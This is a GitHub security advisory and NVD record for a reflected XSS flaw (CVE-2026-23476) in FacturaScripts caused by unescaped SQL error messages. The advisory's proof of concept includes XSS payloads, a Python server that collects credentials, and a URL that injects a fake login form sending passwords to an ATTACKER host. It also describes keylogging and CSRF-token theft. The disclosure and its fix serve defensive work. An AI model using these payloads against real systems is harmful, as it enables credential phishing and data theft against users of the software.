Reflected XSS via SQL Error Messages

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "facturascripts/facturascripts"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2025.81"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-23476"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-02T18:00:43Z",
    "nvd_published_at": "2026-02-02T23:16:07Z",
    "severity": "MODERATE"
  },
  "details": "# Reflected XSS via SQL Error Messages\n\n## Summary\n\nA reflected XSS bug has been found in FacturaScripts. The problem is in how error messages get displayed - it\u0027s using Twig\u0027s `| raw` filter which skips HTML escaping. When a database error is triggered (like passing a string where an integer is expected), the error message includes all input and gets rendered without sanitization.\n\nAttackers can use this to phish credentials from other users since HttpOnly is set on cookies (so stealing cookies directly won\u0027t work, but attackers can inject a fake login form).\n\n**CVSS 6.1 (Medium-High)**\n\n---\n\n## What was Found\n\n### Where the bug exists in the code:\n\n`Core/View/Macro/Utils.html.twig`, line 27:\n\n```twig\n{% for item in messages %}\n    \u003cdiv\u003e{{ item.message | raw }}\u003c/div\u003e\n{% endfor %}\n```\n\nThat `| raw` is the problem. It tells Twig not to escape anything.\n\n### How it works\n\nSo here\u0027s what happens:\n\n1. Hhit `/EditProducto?code=\u003csvg onload=alert(1)\u003e or \u003cimg src=x onerror=alert(1)\u003e`\n2. The app tries to look up a product with that \"code\"\n3. PostgreSQL throws an error because `\u003csvg onload=alert(1)\u003e` isn\u0027t a valid integer\n4. The error goes something like:   ```\n   ERROR: invalid input syntax for type integer: \"\u003csvg onload=alert(1)\u003e\"\n   LINE 1: SELECT * FROM \"productos\" WHERE \"idproducto\" = \u0027\u003cimg src=x onerror=alert(1)\u003e\"\n   ```\n5. This gets logged via MiniLog and displayed to the user\n6. Because of `| raw`, the browser actually executes the JS\n\nThe error logging happens in `Core/Base/DataBase.php` around line 236:\n\n```php\nself::$miniLog-\u003eerror(self::$engine-\u003eerrorMessage(self::$link), [\u0027sql\u0027 =\u003e $sql]);\n```\n\nAnd PostgreSQL\u0027s error message includes whatever garbage it was sent.\n\n---\n\n## Reproduction Steps\n\n### Requirements\n- Working FacturaScripts install\n- Any user account (doesn\u0027t need to be admin)\n- The victim needs to be logged in\n\n### Quick test\n\nJust visit this URL while logged in:\n```\nhttp://localhost/EditProducto?code=\u003csvg onload=alert(document.domain)\u003e\n```\n\nAn alert box should  pop up.\n\n### For a real attack (credential phishing)\n\nSet up a simple server to catch credentials:\n\n```python\nfrom http.server import HTTPServer, BaseHTTPRequestHandler\nfrom urllib.parse import urlparse, parse_qs\n\nclass Handler(BaseHTTPRequestHandler):\n    def do_GET(self):\n        q = parse_qs(urlparse(self.path).query)\n        print(f\"\\nGot creds:\")\n        print(f\"  User: {q.get(\u0027user\u0027, [\u0027?\u0027])[0]}\")\n        print(f\"  Pass: {q.get(\u0027pass\u0027, [\u0027?\u0027])[0]}\")\n        self.send_response(200)\n        self.end_headers()\n    def log_message(self, *args): pass\n\nHTTPServer((\u0027\u0027, 8888), Handler).serve_forever()\n```\n\nThen craft a URL that injects a fake login form:\n\n```\nhttp://TARGET/EditProducto?code=\u003csvg onload=\"document.body.innerHTML=\u0027\u003cdiv style=text-align:center;padding:100px\u003e\u003ch2\u003eSession Expired\u003c/h2\u003e\u003cform action=http://ATTACKER:8888/steal\u003e\u003cinput name=user placeholder=Username\u003e\u003cbr\u003e\u003cinput name=pass type=password placeholder=Password\u003e\u003cbr\u003e\u003cbutton\u003eLogin\u003c/button\u003e\u003c/form\u003e\u003c/div\u003e\u0027\"\u003e\n```\n\nSend that to someone (email, chat, whatever). When they click it and enter their password thinking their session expired, their creds are displayed.\n\n### Other endpoints that work\n\nPretty much anything that uses the `code` parameter:\n- `/EditProducto?code=`\n- `/EditCliente?code=`\n- `/EditFacturaCliente?code=`\n- `/EditProveedor?code=`\n- etc.\n\nBasically all the Edit controllers.\n\n---\n\n## Impact\n\n### What attackers can do with this\n\n**Steal credentials** - Can\u0027t grab cookies directly (HttpOnly), but the phishing form trick works great. Victim thinks their session timed out and re-enters their password.\n\n**Read page data** - Once JS is running, attackers can scrape whatever\u0027s on the page (invoices, customer info, financial data) and send it somewhere.\n\n**Keylog** - Inject a keylogger that captures everything they type.\n\n**Bypass CSRF** - Grab the `multireqtoken` from the page and make requests as the victim.\n\n### What attackers CAN\u0027T do\n\nCan\u0027t steal session cookies via `document.cookie` - they\u0027re HttpOnly.\n\n### Business side\n\nThis is a financial app, so if attackers compromise an admin account, the following is possible to create or expose:\n- Fake invoices\n- Redirected payments  \n- Customer data breach (GDPR stuff)\n- The usual mess\n\n---\n\n## Fix\n\n### Quick fix\n\nJust remove `| raw` from line 27 in `Core/View/Macro/Utils.html.twig`:\n\n```diff\n-    \u003cdiv\u003e{{ item.message | raw }}\u003c/div\u003e\n+    \u003cdiv\u003e{{ item.message }}\u003c/div\u003e\n```\n\nThat\u0027s it. Twig escapes by default, so removing `| raw` fixes the XSS.\n\n### If projects want to be thorough\n\n1. Sanitize messages before they go into the log:\n```php\n$message = htmlspecialchars($message, ENT_QUOTES, \u0027UTF-8\u0027);\n```\n\n2. Add CSP headers to block inline scripts as a backup\n\n3. Maybe validate the `code` parameter format before it hits the database\n\n---\n\n## Resources\n\n- https://cwe.mitre.org/data/definitions/79.html\n- https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html\n\n---\n\n**Found:** Dec 31, 2025  \n**Tested on:** FacturaScripts 2025.61 (Docker), verified vulnerable in 2025.71 (GitHub latest)\n\u003cimg width=\"1917\" height=\"868\" alt=\"1\" src=\"https://github.com/user-attachments/assets/a7d770c8-1d61-499c-83dc-e21be8e61c87\" /\u003e\n\u003cimg width=\"337\" height=\"130\" alt=\"3\" src=\"https://github.com/user-attachments/assets/463067ee-3a73-45ed-af26-c32264d5bf41\" /\u003e\n\u003cimg width=\"1915\" height=\"870\" alt=\"phising\" src=\"https://github.com/user-attachments/assets/6e15a021-dc5f-4708-bdd1-887ecb2d2ffb\" /\u003e\n\u003cimg width=\"1915\" height=\"862\" alt=\"phising2\" src=\"https://github.com/user-attachments/assets/100a63b6-c066-43d5-ab39-6085f51ba282\" /\u003e\n\u003cimg width=\"1918\" height=\"877\" alt=\"sql erroe\" src=\"https://github.com/user-attachments/assets/4c3182ba-380d-44d4-ab34-4b0840ad3e39\" /\u003e\n\u003cimg width=\"1165\" height=\"277\" alt=\"version\" src=\"https://github.com/user-attachments/assets/5f23e4de-cf03-4fcf-a6c5-6ca327c8c43a\" /\u003e",
  "id": "GHSA-g6w2-q45f-xrp4",
  "modified": "2026-02-03T16:09:58Z",
  "published": "2026-02-02T18:00:43Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/NeoRazorX/facturascripts/security/advisories/GHSA-g6w2-q45f-xrp4"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-23476"
    },
    {
      "type": "WEB",
      "url": "https://github.com/NeoRazorX/facturascripts/commit/2afd98cecd26c5f8357e0e321d86063ad1012fc3"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/NeoRazorX/facturascripts"
    },
    {
      "type": "WEB",
      "url": "https://github.com/NeoRazorX/facturascripts/releases/tag/v2025.8"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "FacturaScripts is Vulnerable to Reflected XSS"
}

{
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "FacturaScripts is open-source enterprise resource planning and accounting software. Prior to 2025.8, there a reflected XSS bug in FacturaScripts. The problem is in how error messages get displayed. Twig\u0027s | raw filter is used, which skips HTML escaping. When triggering a database error (like passing a string where an integer is expected), the error message includes the input and gets rendered without sanitization. This vulnerability is fixed in 2025.8."
    }
  ],
  "id": "CVE-2026-23476",
  "lastModified": "2026-02-03T16:44:03.343",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 5.4,
          "baseSeverity": "MEDIUM",
          "confidentialityImpact": "LOW",
          "integrityImpact": "LOW",
          "privilegesRequired": "LOW",
          "scope": "CHANGED",
          "userInteraction": "REQUIRED",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 2.3,
        "impactScore": 2.7,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ]
  },
  "published": "2026-02-02T23:16:07.030",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/NeoRazorX/facturascripts/commit/2afd98cecd26c5f8357e0e321d86063ad1012fc3"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/NeoRazorX/facturascripts/releases/tag/v2025.8"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/NeoRazorX/facturascripts/security/advisories/GHSA-g6w2-q45f-xrp4"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Undergoing Analysis",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-79"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Primary"
    }
  ]
}